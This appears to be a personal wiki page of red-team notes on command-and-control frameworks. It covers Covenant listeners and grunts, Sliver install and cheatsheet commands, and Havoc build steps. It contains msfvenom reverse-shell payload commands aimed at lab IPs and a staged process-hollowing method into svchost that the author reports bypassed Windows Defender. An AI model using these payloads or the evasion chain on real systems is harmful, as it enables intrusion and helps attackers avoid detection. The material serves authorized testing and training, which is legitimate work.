imported>Aghanim at 12:26, 17 October 2022

2022-10-17T12:26:16Z

New page

[[File:2022-10-wp7177528.webp|thumb]]

This is a list of Command and control (C2) servers that I've tested.

= Cobalt Strike =

= Covenant =

== Installation and setup ==

From the Covenant GitHub, "Covenant is a .NET command and control framework that aims to highlight the attack surface of .NET, make the use of offensive .NET tradecraft easier, and serve as a collaborative command and control platform for red teamers."

For more information about Covenant, check out the Covenant GitHub wiki, [https://github.com/cobbr/Covenant/wiki https://github.com/cobbr/Covenant/wiki][https://github.com/cobbr/Covenant/wiki https://github.com/cobbr/Covenant/wiki]

The Covenant installation is relatively straightforward, with a few quirks and areas that may need troubleshooting. The installation requires two separate central installs: .NET Core SDK and downloading Covenant itself.

To begin setting up Covenant, we will begin with installing the .NET Core SDK. Covenant requires .NET Core SDK 3.1.0. You can download the SDK from either the .NET downloads page or adding the .NET repositories and downloading via apt.

For more information about downloading via the downloads page, check out this link, [https://dotnet.microsoft.com/download/dotnet/3.1 https://dotnet.microsoft.com/download/dotnet/3.1].

For more information about downloading via the repositories, check out this link, [https://docs.microsoft.com/en-us/dotnet/core/install/linux-ubuntu https://docs.microsoft.com/en-us/dotnet/core/install/linux-ubuntu]

Follow along with either of the methods and install .NET Core SDK 3.1.0. This will be the utility we use to build and run Covenant.

Once you have the SDK installed, you can clone the Covenant repository from GitHub. Find an example below.

Command used: <code>git clone --recurse-submodules https://github.com/cobbr/Covenant</code>

Since Covenant is written entirely in .NET Core, all dependencies are already handled when building with the SDK.

Now that both the SDK and Covenant are installed, we can start up Covenant for the first time. Covenant will start on localhost port 7443. Find example syntax below.

Command used: <code>sudo ./dotnet run --project /opt/Covenant/Covenant</code>

Once you navigate to [http://127.0.0.1:7443/ 127.0.0.1:7443] you will be greeted with a user creation screen. Create a user and sign in to Covenant. Find an example of the sign-in page below.

[[File:2022-10-image-4.png|thumb]]

== Liseners ==

When operating with Covenant, there are four main stages: creating a listener, generating a stager, deploying a grunt, utilizing the grunt. All stages of operation can already be done using other tools like MSFVenom, Netcat, Metasploit, etc. however, Covenant gives you a way to operationalize them all under one platform allowing for easier management and collaborative operations.

Covenant is an extensive and diverse command and control framework with many different functionalities. We will only be covering the basics of operating with Covenant. For more information, check out the SpecterOps blog, [https://posts.specterops.io/ https://posts.specterops.io/], and the SoCon talk on "Operating with Covenant" by Ryan Cobb and Justin Bui [https://www.youtube.com/watch?v=oN_0pPI6TYU https://www.youtube.com/watch?v=oN_0pPI6TYU].

The first step in operating with Covenant is to create a listener. Listeners are built off profiles; you can think of profiles like HTTP requests/pages that will serve as the channel that will handle all C2 traffic. There are four default profiles that Covenant comes with, outlined below.

* <code>CustomHttpProfile</code> Custom profile that does not require any cookies.

* <code>DefaultBridgeProfile</code> Default profile for a C2 bridge.

* <code>DefaultHttpProfile</code> Default HTTP profile.

* <code>TCPBridgeProfile</code> Default TCP profile for a C2 bridge.

Covenant offers an easy way of editing the listeners along with a GUI. There are many parameters present; we will only be going over a quick overview of each parameter outlined below.

* <code>Name</code> Name of profile to be used throughout the interface.

* <code>Description</code> Description of profile and its use cases.

* <code>MessageTransform</code> Specify how data will be transformed before being placed in other parameters.

* <code>HttpUrls</code> list of URLs the grunt can callback to.

* <code>HttpRequestHeaders</code> List of header pairs (name/value) that will be sent with every HTTP request.

* <code>HttpResponseHeaders</code> List of header pairs (name/value) that will be sent with every HTTP response.

* <code>HttpPostRequest</code> Format of data when a grunt posts data back to the profile.

* <code>HttpGetResponse</code> HTTP response when a grunt GETs data to the listener.

* <code>HttpPostResponse</code> HTTP response when a grunt POSTs data to the listener.

We will be going further in-depth with editing and creating profiles in Task 26.

Once you have decided what profile you would like to use, we can begin creating the listener. We recommend using the'' DefaultHttpProfile'', to start with, but we will be changing this in later tasks when dealing with AV evasion.

To create a listener, navigate to the ''Listeners'' tab from the side menu and select ''Create Listener''.

You will see several options to edit; each option is outlined below.

* <code>Name</code> (optional) will help to identify different listeners.

* <code>BindAddress</code> Local address listener will bind on, usually <code>0.0.0.0</code>.

* <code>BindPort</code> Local port listener will bind on.

* <code>ConnectPort</code> Port to callback to, suggested to set to <code>80</code>, <code>8080</code>, or <code>8888</code>.

* <code>ConnectAddresses</code> Addresses for the listener to callback to, hostname portion of the <code>URL</code>.

* <code>URLs</code> Callback URLs the grunt will be connected directly back to.

* <code>UseSSL</code> Determines whether or not the listener uses <code>HTTP</code> or <code>HTTPS</code>.

* <code>SSLCertificate</code> Certificate used by the listener if SSL is set to true.

* <code>SSLCertificatePassword</code> Password being used by the <code>SSLCertificate</code>.

* <code>HttpProfile</code> Profile used by the listener and grunt to determine communication behavior.

To create a basic listener for this network we only suggest editing the <code>Name</code>, <code>ConnectPort</code>, and <code>ConnectAddresses</code>

Once created, the listener should appear within the Listeners tab. You can now start and stop the listener as needed.

[[File:6mFpwNR.png|thumb]]

== Grunts ==

Now that we have a listener in Covenant, we can create a launcher to deploy a grunt. Again, this will be helpful later when you get onto a Windows box and need to deploy a grunt quickly.

From the Covenant GitHub, "Launchers are used to generate, host, and download binaries, scripts, and one-liners to launch new Grunts."

There are ten different launchers to choose from within Covenant, each launcher will have its requirements, and some may not be supported on modern operating systems. Launcher types are outlined below.

* <code>Binary</code> Generates a custom binary to launch grunt, does not rely on a system binary.

* <code>Shellcode</code> Converts binary to shellcode using donut, [https://github.com/TheWover/donut https://github.com/TheWover/donut][https://github.com/TheWover/donut https://github.com/TheWover/donut]

* <code>PowerShell</code> Generates PowerShell code to launch a grunt using <code>powershell.exe</code>.

* <code>MSBuild</code> Generates an MSBuild XML file to launch a grunt using <code>msbuild.exe</code>, [https://lolbas-project.github.io/lolbas/Binaries/Msbuild/ https://lolbas-project.github.io/lolbas/Binaries/Msbuild/][https://lolbas-project.github.io/lolbas/Binaries/Msbuild/ https://lolbas-project.github.io/lolbas/Binaries/Msbuild/]

* <code>InstallUtil</code> Generates an InstallUtil XML file to launch a grunt using <code>installutil.exe</code>, [https://lolbas-project.github.io/lolbas/Binaries/Installutil/ https://lolbas-project.github.io/lolbas/Binaries/Installutil/][https://lolbas-project.github.io/lolbas/Binaries/Installutil/ https://lolbas-project.github.io/lolbas/Binaries/Installutil/]

* <code>Mshta</code> Generates an HTA file to launch a grunt using <code>mshta.exe</code>, [https://lolbas-project.github.io/lolbas/Binaries/Mshta/ https://lolbas-project.github.io/lolbas/Binaries/Mshta/][https://lolbas-project.github.io/lolbas/Binaries/Mshta/ https://lolbas-project.github.io/lolbas/Binaries/Mshta/]

* <code>Regsrv32</code> Generates an SCT file to launch a grunt using <code>regsrv32.exe</code>, [https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/ https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/][https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/ https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/]

* <code>Wmic</code> Generates an XSL file to launch a grunt using <code>wmic.exe</code>, [https://lolbas-project.github.io/lolbas/Binaries/Wmic/ https://lolbas-project.github.io/lolbas/Binaries/Wmic/][https://lolbas-project.github.io/lolbas/Binaries/Wmic/ https://lolbas-project.github.io/lolbas/Binaries/Wmic/]

* <code>Cscript</code> Generate a JScript file to launch a grunt using <code>cscript.exe</code>, [https://lolbas-project.github.io/lolbas/Binaries/Cscript/ https://lolbas-project.github.io/lolbas/Binaries/Cscript/][https://lolbas-project.github.io/lolbas/Binaries/Cscript/ https://lolbas-project.github.io/lolbas/Binaries/Cscript/]

* <code>Wscript</code> Generate a JScript file to launch a grunt using <code>wscript.exe</code>, [https://lolbas-project.github.io/lolbas/Binaries/Wscript/ https://lolbas-project.github.io/lolbas/Binaries/Wscript/][https://lolbas-project.github.io/lolbas/Binaries/Wscript/ https://lolbas-project.github.io/lolbas/Binaries/Wscript/]

There are several options for each launcher, with some launchers having specific options. For this task, we will be focusing on the binary launcher and its options. The configuration options are outlined below.

* <code>Listener</code> Listener the grunt will communicate with.

* <code>ImplantTemplate</code> Type of implant launcher will use.

* <code>DotNetVersion</code> .NET version launcher will use, dependent on <code>ImplantTemplate</code>.

* <code>Delay</code> Time grunt will sleep in-between callbacks. A larger delay can aid in stealthy communications.

* <code>JitterPercent</code> Percent of variability in <code>Delay</code>.

* <code>ConnectAttempts</code> Amount of times grunt will attempt to connect back to the server before quitting.

* <code>KillDate</code> Date specified grunt will quit and stop calling back.

To create a basic launcher for this network, we only suggest editing the <code>Listener</code> and <code>ImplantTemplate</code>

Once created, the launcher will be downloaded or output a one-liner that can be copied. You can then use the launcher as needed to deploy grunts.

[[File:IREQTwm.png|thumb]]

To deploy a grunt, you will only need to transfer your launcher to your target machine and execute the payload using your preferred method; this will change based on what launcher you decide to use.

Once executed, the grunt should check back into the server and appear within the ''Grunt'' tab.

'''Note:''' This is only an example of executing a grunt; you will not need to execute a grunt until later tasks.

[[File:sk5C4K7.png|thumb]]

If you navigate to the grunt to interact with it, you will be given an interaction menu. From here, you can remotely control the grunt and execute shell commands and modules. This will be covered further in-depth in Task 29.

[[File:XSEdAaJ.png|thumb]]

= Powershell-Empire with Starkiller =

= PoshC2 =

= GodGenesis =

= Metasploit =

= Sliver =

== Links and tutorial ==

[https://sliver.sh/ https://sliver.sh/]

[https://bishopfox.com/blog/passing-the-osep-exam-using-sliver Passing the OSEP Exam Using Sliver | Bishop Fox]

[https://notateamserver.xyz/sliver-101/#sessions Writing a Beginner's Guide to Sliver Because the Devs Won't (notateamserver.xyz)]

[https://tishina.in/opsec/sliver-opsec-notes sliver-opsec-notes - (tishina.in)]

[https://medium.com/@youcef.s.kelouaz/writing-a-sliver-c2-powershell-stager-with-shellcode-compression-and-aes-encryption-9725c0201ea8 Writing a Sliver C2 Powershell Stager with Shellcode Compression and AES Encryption | by Ycf-Kel | Medium]

{| class="wikitable"
|-
! Link
! Description
|-
| [https://dominicbreuker.com/post/learning_sliver_c2_01_installation/ Learning Sliver C2 (01) - Installation]
| This post covers the installation of Sliver C2, including prerequisites and step-by-step instructions for setting up the C2 framework.
|-
| [https://dominicbreuker.com/post/learning_sliver_c2_02_beacons_and_sessions/ Learning Sliver C2 (02) - Beacons and Sessions]
| This post explains how to manage beacons and sessions in Sliver C2, providing details on how to interact with infected systems once they connect back to the server.
|-
| [https://dominicbreuker.com/post/learning_sliver_c2_03_transports_in_detail_mtls_and_wg/ Learning Sliver C2 (03) - Transports in Detail: mTLS and WireGuard]
| This post dives into the details of Sliver's transport mechanisms, specifically mTLS and WireGuard, explaining how to securely transmit data between the C2 server and implants.
|-
| [https://dominicbreuker.com/post/learning_sliver_c2_04_transports_in_detail_http_and_https/ Learning Sliver C2 (04) - Transports in Detail: HTTP and HTTPS]
| This post explores the use of HTTP and HTTPS transports within Sliver C2, discussing how to configure and leverage these protocols for secure command and control communications.
|-
| [https://dominicbreuker.com/post/learning_sliver_c2_05_transports_in_detail_dns/ Learning Sliver C2 (05) - Transports in Detail: DNS]
| This post provides an in-depth look at using DNS as a transport method in Sliver C2, covering how to set up and use DNS for command and control operations.
|-
| [https://dominicbreuker.com/post/learning_sliver_c2_06_stagers/ Learning Sliver C2 (06) - Stagers]
| This post introduces the concept of stagers in Sliver C2, explaining how to create and use stagers to deliver Sliver implants to target systems.
|-
| [https://dominicbreuker.com/post/learning_sliver_c2_06_stagers_process_injection/ Learning Sliver C2 (06) - Stagers: Process Injection]
| This post expands on stagers by demonstrating how to perform process injection with Sliver C2, allowing implants to run within the context of another process to evade detection.
|-
| [https://dominicbreuker.com/post/learning_sliver_c2_08_implant_basics/ Learning Sliver C2 (08) - Implant Basics]
| This post covers the basic functionality of Sliver implants, including file system interactions, process management, and network connections.
|-
| [https://dominicbreuker.com/post/learning_sliver_c2_09_execute_assembly/ Learning Sliver C2 (09) - Execute Assembly]
| This post explains how to use the execute-assembly command in Sliver to run .NET assemblies directly on the target system, allowing for the execution of custom .NET code.
|-
| [https://dominicbreuker.com/post/learning_sliver_c2_10_sideload/ Learning Sliver C2 (10) - Sideload]
| This post delves into the sideload command in Sliver, which is used to execute native shared libraries and EXE files on the target system.
|-
| [https://dominicbreuker.com/post/learning_sliver_c2_11_spawndll/ Learning Sliver C2 (11) - SpawnDLL]
| This post covers the spawndll command in Sliver, which is used to execute reflective DLLs on the target system, providing insights into how the reflective loader works.
|-
| [https://dominicbreuker.com/post/learning_sliver_c2_12_extensions/ Learning Sliver C2 (12) - Extensions]
| This post discusses how to extend Sliver C2 by adding custom commands and functionality, enabling users to tailor the framework to their specific needs.
|}

== Install ==

<syntaxhighlight lang="bash">
# Prerequistis
apt install mingw-w64

# Metasploit Setup (Optional)
# Sliver expects MSF version 5+.

# Install sliver
curl https://sliver.sh/install|sudo bash
# and then run
sliver
</syntaxhighlight>

== Sliver and Metasploit ==

Sliver works with Metasploit shellcode.

<syntaxhighlight lang="bash">
windows/x64/custom/reverse_winhttp

windwos/x64/meterpreter/reverse_tcp
</syntaxhighlight>

== Beacon vs session ==

* '''Sliver as Stage 2 Payload''': Not optimized for small size, can become large depending on protocols enabled. Advised to use stagers in operations.

* '''Operational Modes''':

'''Beacon Mode''': Asynchronous, implant checks in periodically, retrieves tasks, and returns results.

* '''Session Mode''': Real-time, interactive session, either persistent connection or long polling based on C2 protocol.

* '''Interactive Sessions''': Beacons can initiate sessions using compiled C2 protocols (e.g., <code>interactive</code> command). Cannot switch from session mode to beacon mode.

* '''Specific Commands''': Some functions like <code>shell</code> and <code>portfwd</code> only operational in interactive sessions.

== Generating HTTP(S) Implants with certificate ==

[https://redsiege.com/blog/2022/11/introduction-to-sliver/ redsiege.com/blog/2022/11/introduction-to-sliver/]

* By default Sliver generates a self-signed certificate, but Sliver is compatible with Let's Encrypt. (Need to have <code>certbot</code> installed).

Start a HTTPS listener with Let's Encrypt

<syntaxhighlight lang="bash">
https --domain book.ghanim.no --let's-encrypt
</syntaxhighlight>

Start a HTTPS listener with own cert, instead of self-signed or Let's encrypt

<syntaxhighlight lang="bash">
https --domain book.ghanim.no --cert ./cert.pem --key ./key.pem
</syntaxhighlight>

== Extensions (Armory) ==

[https://github.com/BishopFox/sliver/wiki/Armory Armory · BishopFox/sliver Wiki (github.com)]

The armory is the Sliver Alias and Extension package manager (introduced in Sliver v1.5), it allows you to automatically install various 3rd party tools such as BOFs and .NET tooling.

<syntaxhighlight lang="bash">
armory install all
</syntaxhighlight>

== Cheatsheet ==

<syntaxhighlight lang="bash">
# Generating implants
generate --mtls --save
# Generates an implant with mTLS, saved to a specified directory

# Session mode
generate --mtls example.com --save /path
# Generates a windows/amd64 Sliver binary in session mode

# Beacon mode
generate beacon --mtls example.com --save /path
# Generates a windows/amd64 beacon implant binary

# Cross plattform
generate beacon --mtls example.com --save /path
# Generates a windows/amd64 beacon implant binary

# Manage implants
implants
# Lists all generated implants with details

regenerate --save /path
# Re-downloads a specific implant

# Starting listener
mtls
# Starts an mTLS listener

jobs
# Views and manages running listeners

# Interacting with session
use
# Interacts with a specific session

# Interacting with beacon
beacons
# Lists all beacons

use
# Interacts with a specific beacon

Switching from beacon to session mode
interactive
# Switches a beacon to interactive session mode

# Multiple domain
generate --mtls --http --dns
# Specifies multiple domains and protocols during generation

</syntaxhighlight>

== Example getting beacon with msf ==

[https://bishopfox.com/blog/passing-the-osep-exam-using-sliver Passing the OSEP Exam Using Sliver | Bishop Fox]

<syntaxhighlight lang="bash">
# Creating a New Beacon Profile
# Creates a new beacon profile with mTLS communication, formatted as shellcode.

sliver > profiles new beacon --mtls 192.168.56.1:443 --format shellcode goad-shellcode-beacon

# Setting Up a Stage Listener
# Establishes a stage listener using TCP at the specified address and port, linked to the beacon profile.

sliver > stage-listener -u tcp://192.168.56.1:8080 -p goad-shellcode-beacon --prepend-size

# Starting an mTLS Listener
# Initiates an mTLS listener on the given IP and port for secure communication.

sliver > mtls -L 192.168.56.1 -l 443

# We have our stager listener on port 8080 and our C2 channel on port 443 – change these up as you need. I used beacons during my testing since they are good for long-haul communication, and I frequently used interactive sessions since we are in a lab environment. The last thing we need is our shellcode, and we can use Sliver or msfvenom.

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=8080

# Use this in ex. process injection, process hollowing, AES encrypted shellcode etc.
</syntaxhighlight>

== Bypassing defender with staged process hollowing ==

I was able to bypass Windows Defender on a fully patched Windows 10 (12.12.2023) using process hollowing and sliver with shellcode generated by msfvenom.

This is a two staged exectution. The first stage will get our stager for sliver and inject it to svchost using process hollowing. The next stage is sliver executing our implant on the target.

First generate a shellcode using msfvenom.

<syntaxhighlight lang="bash">
msfvenom -p windows/x64/custom/reverse_winhttp LHOST=192.168.1.38 LPORT=1234 LURI=/hello.woff -f raw -o stager.bin
</syntaxhighlight>

We will use a technique called process hollowing and place our shellcode in svchosts.exe. The shellcode will be hosted on my kali using smbserver.

<syntaxhighlight lang="bash">
# Snippet from process hollowing code. See CheatSheet II for full code.
string targetPath = "C:\\Windows\\System32\\svchost.exe";
string shellcodePath = "\\\\192.168.1.38\\share\\UNEVEN_DESTRUCTION.bin"; // Replace with the actual shellcode file path
IntPtr processHandle, threadHandle;
uint threadId;

</syntaxhighlight>

No I will start an smbserver on my kali and setup sliver.

<syntaxhighlight lang="bash">
# Create a new profile that will be we will use for our staging listener.
profiles new --mtls 192.168.1.38 --format shellcode win-shellcode

# Creata a steage listener and link it to our profile.
stage-listener --url http://192.168.1.38:1234 --profile win-shellcode --prepend-size

# Last start a listener on mTLS.
mtls
</syntaxhighlight>

[[File:2023-12-image-3.png|thumb]]

[[File:2023-12-image-4.png|thumb]]

[[File:2023-12-image-5.png|thumb]]

= Havoc C2 =

== Install ==

[https://havocframework.com/docs/installation 1. Installation.md | Havoc Documentation (havocframework.com)]

[https://github.com/HavocFramework/Havoc.git Havoc source code] avaliable on [https://github.com/HavocFramework/Havoc.git github] and can be cloned using <code>git clone</code>:

<syntaxhighlight lang="bash">
git clone https://github.com/HavocFramework/Havoc.git

</syntaxhighlight>

After cloning Havoc we are going to need to change the current directory to the cloned repository.

<syntaxhighlight lang="bash">
cd Havoc

</syntaxhighlight>

=== Install the dependencies ===

After following the steps above we need to install the needed dependecies for the teamserver and compile it to our final executable. Be aware that the teamserver requieres golang 1.18 to be able to compile and run.

==== Ubuntu 20.04 / 22.04 ====

>
You must enable Python 3.10 in your APT repositories before you can run the Client successfully.

<syntaxhighlight lang="bash">
sudo add-apt-repository ppa:deadsnakes/ppa
sudo apt update
sudo apt install python3.10 python3.10-dev

</syntaxhighlight>

==== Kali and other Debian based Distros only. ====

>
The immediate following is for Debian based Distros only.

<syntaxhighlight lang="bash">
sudo apt install -y git build-essential apt-utils cmake libfontconfig1 libglu1-mesa-dev libgtest-dev libspdlog-dev libboost-all-dev libncurses5-dev libgdbm-dev libssl-dev libreadline-dev libffi-dev libsqlite3-dev libbz2-dev mesa-common-dev qtbase5-dev qtchooser qt5-qmake qtbase5-dev-tools libqt5websockets5 libqt5websockets5-dev qtdeclarative5-dev golang-go qtbase5-dev libqt5websockets5-dev python3-dev libboost-all-dev mingw-w64 nasm

</syntaxhighlight>

==== Debian 10/11 ====

>
You must setup the <code>bookworm</code> repo for Python 3.10.

<syntaxhighlight lang="bash">
echo 'deb http://ftp.de.debian.org/debian bookworm main' >> /etc/apt/sources.list
sudo apt update
sudo apt install python3-dev python3.10-dev libpython3.10 libpython3.10-dev python3.10

</syntaxhighlight>

=== Building the Teamserver ===

Install additional Go dependencies:

<syntaxhighlight lang="bash">
cd teamserver
go mod download golang.org/x/sys
go mod download github.com/ugorji/go
cd ..

</syntaxhighlight>

Build and Run:

<syntaxhighlight lang="bash">
# Install musl Compiler & Build Binary (From Havoc Root Directory)
make ts-build

# Run the teamserver
./havoc server --profile ./profiles/havoc.yaotl -v --debug

</syntaxhighlight>

All files created during interaction with the Teamserver are stored within the <code>/Havoc/data/*</code> folder.

=== Building the Client ===

Now that we successfully compiled the teamserver we now should install the dependencies for the Client and compile it.

Build and Run:

<syntaxhighlight lang="bash">
# Build the client Binary (From Havoc Root Directory)
make client-build

# Run the client
./havoc client

</syntaxhighlight>

After we finished compiling the teamserver and client we can start the teamserver and client from the havoc executable.

<syntaxhighlight lang="bash">
$ ./havoc
_______ _______ _______
│\ /│( ___ )│\ /│( ___ )( ____ \
│ ) ( ││ ( ) ││ ) ( ││ ( ) ││ ( \/
│ (___) ││ (___) ││ │ │ ││ │ │ ││ │
│ ___ ││ ___ │( ( ) )│ │ │ ││ │
│ ( ) ││ ( ) │ \ \_/ / │ │ │ ││ │
│ ) ( ││ ) ( │ \ / │ (___) ││ (____/\
│/ \││/ \│ \_/ (_______)(_______/

pwn and elevate until it's done

Havoc Framework [Version: 0.4.1] [CodeName: The Fool]

Usage:
havoc [flags]
havoc [command]

Available Commands:
client client command
help Help about any command
server server command

Flags:
-h, --help help for havoc

Use "havoc [command] --help" for more information about a command.
</syntaxhighlight>

== Client ==

[[File:HavocConnectionDialog.png|thumb|Havoc connection dialog]]

The Name field can be any profile name (like <code>Death Star</code> or <code>Teamserver</code>).

In the fields, <code>Host</code> and <code>Port</code> should contain the teamserver host address/domain and port.

In the fields, <code>User</code> and <code>Password</code> should contain the username and password specified in your Yaotl profile.

If you are seeing this following error then it most likely means that you passed the wrong username and or password.

[[Category:Offensive Security]]

← Older revision		Revision as of 22:49, 17 February 2026
Line 1:		Line 1:
	~~[[File:2022-10-wp7177528.webp\|thumb]]~~

	This is a list of Command and control (C2) servers that I've tested.		This is a list of Command and control (C2) servers that I've tested.

Offensive Security/Command and Control - Revision history

Administrator at 22:49, 17 February 2026

Administrator at 22:22, 17 February 2026

imported>Aghanim at 12:26, 17 October 2022